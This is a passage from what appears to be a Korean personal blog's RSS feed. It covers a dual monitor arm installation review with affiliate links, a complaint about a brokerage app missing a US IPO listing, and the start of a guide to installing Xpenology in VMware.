&lt;p&gt;모니터에 부착한 브라켓을&lt;/p&gt;
&lt;p&gt;모니터 암 연결부위에 가져간 후&lt;/p&gt;
&lt;p&gt;위에서 아래로 밀어 넣으면 됩니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;여기서 모니터가 무거우면&lt;/p&gt;
&lt;p&gt;고개가 숙여지는 데&lt;/p&gt;
&lt;p&gt;모니터 암의 육각 나사를 조여&lt;/p&gt;
&lt;p&gt;버티게 할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qevdr/btqYB6I9w7H/QptFQh2abOtZZ1tVQXqy31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qevdr/btqYB6I9w7H/QptFQh2abOtZZ1tVQXqy31/img.png&quot; data-alt=&quot;모니터 연결&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qevdr/btqYB6I9w7H/QptFQh2abOtZZ1tVQXqy31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQevdr%2FbtqYB6I9w7H%2FQptFQh2abOtZZ1tVQXqy31%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모니터 연결&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;모니터 위치 조정&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;모니터의 위치를 조정할 차례이다.&lt;/p&gt;
&lt;p&gt;좌우로는 쉽게 이동하지만&lt;/p&gt;
&lt;p&gt;위아래는 나사를 조여야 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;KakaoTalk_20210227_220719529.jpg&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;525&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceHtTP/btqYJ86Xn2D/bImjlQnyg98lxvPbnenNP1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceHtTP/btqYJ86Xn2D/bImjlQnyg98lxvPbnenNP1/img.jpg&quot; data-alt=&quot;모니터 암 높낮이 조절&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceHtTP/btqYJ86Xn2D/bImjlQnyg98lxvPbnenNP1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceHtTP%2FbtqYJ86Xn2D%2FbImjlQnyg98lxvPbnenNP1%2Fimg.jpg&quot; data-filename=&quot;KakaoTalk_20210227_220719529.jpg&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;525&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모니터 암 높낮이 조절&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;KakaoTalk_20210227_220719643.jpg&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;525&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLGI66/btqYIkT89JQ/bgUq55UtUKACHPS8qziMqk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLGI66/btqYIkT89JQ/bgUq55UtUKACHPS8qziMqk/img.jpg&quot; data-alt=&quot;고개 조절&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLGI66/btqYIkT89JQ/bgUq55UtUKACHPS8qziMqk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLGI66%2FbtqYIkT89JQ%2FbgUq55UtUKACHPS8qziMqk%2Fimg.jpg&quot; data-filename=&quot;KakaoTalk_20210227_220719643.jpg&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;525&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;고개 조절&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설명서에 자세히 나와 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9cs3Q/btqYQweUpDE/epTX2GErL9K9kafyt5AYzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9cs3Q/btqYQweUpDE/epTX2GErL9K9kafyt5AYzK/img.png&quot; data-alt=&quot;모니터 암 조절 방법&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9cs3Q/btqYQweUpDE/epTX2GErL9K9kafyt5AYzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9cs3Q%2FbtqYQweUpDE%2FepTX2GErL9K9kafyt5AYzK%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;모니터 암 조절 방법&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;설치 끝!&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;모니터 암 설치와&lt;/p&gt;
&lt;p&gt;모니터 연결이 끝나고&lt;/p&gt;
&lt;p&gt;책상 정리까지 다한 모습입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;카메라 광각 때문에&lt;/p&gt;
&lt;p&gt;우측 모니터의 길이가&lt;/p&gt;
&lt;p&gt;2배나 길어졌습니다....&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;저런 와이드 모니터면&lt;/p&gt;
&lt;p&gt;듀얼 안쓰지....&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDM9M8/btqYB6beEsK/PxJFrKWFRDycpuW6w4f5G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDM9M8/btqYB6beEsK/PxJFrKWFRDycpuW6w4f5G0/img.png&quot; data-alt=&quot;설치 끝!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDM9M8/btqYB6beEsK/PxJFrKWFRDycpuW6w4f5G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDM9M8%2FbtqYB6beEsK%2FPxJFrKWFRDycpuW6w4f5G0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설치 끝!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;근접 샷입니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oabtm/btqYxpJdYXv/X7B6xPxX7kz3kckL3MXsQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oabtm/btqYxpJdYXv/X7B6xPxX7kz3kckL3MXsQ0/img.png&quot; data-alt=&quot;근접 샷!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oabtm/btqYxpJdYXv/X7B6xPxX7kz3kckL3MXsQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Foabtm%2FbtqYxpJdYXv%2FX7B6xPxX7kz3kckL3MXsQ0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;근접 샷!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;다시한번 제품 링크...&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://coupa.ng/bSsd8D&quot;&gt;https://coupa.ng/bSsd8D&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614435834076&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;루나랩 듀얼 모니터 암&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/bSsd8D&quot; data-og-url=&quot;https://www.coupang.com/vp/products/1945019607&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cQWo1u/hyJpHPuwlc/P9ygPx7EB0NciZJzf9KLGK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/c7codq/hyJpJ0RIwW/r9g0xM99mb47XSrtyYB0T0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/bSsd8D&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/bSsd8D&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cQWo1u/hyJpHPuwlc/P9ygPx7EB0NciZJzf9KLGK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/c7codq/hyJpJ0RIwW/r9g0xM99mb47XSrtyYB0T0/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;루나랩 듀얼 모니터 암&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이거는 추가 브라캣 링크입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://coupa.ng/bSspgZ&quot;&gt;https://coupa.ng/bSspgZ&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614436855020&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;[천삼백케이] [루나랩] 루나랩 베사확장브라켓 (200x100 200x200)&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/bSspgZ&quot; data-og-url=&quot;https://www.coupang.com/vp/products/2362624041&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dXVXW4/hyJpxsCQTu/g0HaRwykyfwJP3h8BkZIgK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/Uh2dY/hyJpESOSfq/tlNmDCh2mBNvYDANZKifvk/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/bSspgZ&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/bSspgZ&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dXVXW4/hyJpxsCQTu/g0HaRwykyfwJP3h8BkZIgK/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/Uh2dY/hyJpESOSfq/tlNmDCh2mBNvYDANZKifvk/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;[천삼백케이] [루나랩] 루나랩 베사확장브라켓 (200x100 200x200)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;루나랩에서는 전용 책상도 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #000000;&quot;&gt;조금 비싸요...&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;a href=&quot;https://coupa.ng/bSspqP&quot;&gt;https://coupa.ng/bSspqP&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1614436917030&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;website&quot; data-og-title=&quot;루나랩 게이밍 책상 커브형 1500 + 일반 책상다리 방문설치&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://coupa.ng/bSspqP&quot; data-og-url=&quot;https://www.coupang.com/vp/products/1985325669&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/drtsgT/hyJpKMfeWv/SgcIoiGcmBH77liYvZFY61/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/brgXHJ/hyJpMwyyc5/Xgyoyb67POERyRKMXjHc70/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://coupa.ng/bSspqP&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://coupa.ng/bSspqP&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/drtsgT/hyJpKMfeWv/SgcIoiGcmBH77liYvZFY61/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/brgXHJ/hyJpMwyyc5/Xgyoyb67POERyRKMXjHc70/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;루나랩 게이밍 책상 커브형 1500 + 일반 책상다리 방문설치&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;&quot;파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음&quot;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;이 문구는 쿠팡 정책이라서...&lt;/span&gt;&lt;/p&gt;</description>
      <category>리뷰</category>
      <category>듀얼 모니터</category>
      <category>루나랩</category>
      <category>모니터암</category>
      <category>브라켓</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/137</guid>
      <comments>https://chmodi.tistory.com/137#entry137comment</comments>
      <pubDate>Sat, 27 Feb 2021 23:31:47 +0900</pubDate>
    </item>
    <item>
      <title>대신증권 크레온(Creon) 문제점</title>
      <link>https://chmodi.tistory.com/136</link>
      <description>&lt;p&gt;2/12 BMBL(Bumble) IPO 거래 시작일임&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;IPO 특성상 언제 시작할지 몰라&lt;br /&gt;무작정 대기해야함&lt;/p&gt;
&lt;p&gt;(그래도 경험상 보통 미국 점심 이후에 시작)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;2/12 02:35 BMBL 거래가 시작됨&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;거래 시작 전 크레온에서 BMBL 검색이 안됨&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;결국 거래가 시작된 후에도 BMBL 검색이 안되서&lt;/p&gt;
&lt;p&gt;결국 거래를 못함&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;IPO 특징인 초반 3분 상승을 잡아야 하는데&lt;/p&gt;
&lt;p&gt;크레온은 하락까지도 끝난 41분 쯤&lt;/p&gt;
&lt;p&gt;BMBL이 검색되기 시작함&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;365&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d4qdBB/btqWU8oddk5/X3lbNKG3svVgd8qJ5E2SH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d4qdBB/btqWU8oddk5/X3lbNKG3svVgd8qJ5E2SH1/img.png&quot; data-alt=&quot;잃어버린 3분...&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d4qdBB/btqWU8oddk5/X3lbNKG3svVgd8qJ5E2SH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd4qdBB%2FbtqWU8oddk5%2FX3lbNKG3svVgd8qJ5E2SH1%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;365&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;잃어버린 3분...&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;진짜 수수료는 겁나 처묵처묵하면서&lt;/p&gt;
&lt;p&gt;일은 얼마나 대충하는 건지 의문임&lt;/p&gt;</description>
      <category>재테크/기타</category>
      <category>BMBL</category>
      <category>creon</category>
      <category>대신증권</category>
      <category>크레온</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/136</guid>
      <comments>https://chmodi.tistory.com/136#entry136comment</comments>
      <pubDate>Fri, 12 Feb 2021 03:05:30 +0900</pubDate>
    </item>
    <item>
      <title>[NAS 설치 1] VMware에 헤놀로지(Xpenolgoy) 설치</title>
      <link>https://chmodi.tistory.com/135</link>
      <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;라즈베리파이에 NAS 작업하다가...&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;결국 다시 헤놀로지로 정착합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;준비물&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;돈이 있다면...&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;Jun's Mod 1.04b&lt;/b&gt;&lt;/u&gt;: 헤놀로지(Xpenology)를 설치하기 위한 부트 커널&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OSFMount&lt;/b&gt;&lt;/u&gt;: 부트 커널을 수정하기 위한 툴&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;VMware / VirtualBox&lt;/b&gt;&lt;/u&gt;: 가상 머신, 여기다가 설치할꺼다.&lt;/blockquote&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;Jun's Mod 1.04b 다운로드&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Jun님은 Xpenology 커뮤니티에&lt;/p&gt;
&lt;p&gt;글을 올리신다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xpenology.com/forum/topic/12952-dsm-62-loader/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://xpenology.com/forum/topic/12952-dsm-62-loader/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1610786268057&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;object&quot; data-og-title=&quot;DSM 6.2 Loader&quot; data-og-description=&quot;Hi, everyone, Thanks for you patience. A new ds918 loader support 6.2/6.21 is uploaded. whats new: uefi issue fixed. i915 driver updated. link https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA (for DS918+) - v1.04b ---Beginning of addition by polanskiman-&quot; data-og-host=&quot;xpenology.com&quot; data-og-source-url=&quot;https://xpenology.com/forum/topic/12952-dsm-62-loader/&quot; data-og-url=&quot;https://xpenology.com/forum/topic/12952-dsm-62-loader/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://xpenology.com/forum/topic/12952-dsm-62-loader/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://xpenology.com/forum/topic/12952-dsm-62-loader/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;DSM 6.2 Loader&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;Hi, everyone, Thanks for you patience. A new ds918 loader support 6.2/6.21 is uploaded. whats new: uefi issue fixed. i915 driver updated. link https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA (for DS918+) - v1.04b ---Beginning of addition by polanskiman-&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;xpenology.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;619&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kNyQV/btqTJlDISLD/R1gUKCEYK9m8GFGjIwXhrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kNyQV/btqTJlDISLD/R1gUKCEYK9m8GFGjIwXhrk/img.png&quot; data-alt=&quot;Jun&amp;amp;#39;s Mod 다운&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kNyQV/btqTJlDISLD/R1gUKCEYK9m8GFGjIwXhrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkNyQV%2FbtqTJlDISLD%2FR1gUKCEYK9m8GFGjIwXhrk%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;619&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 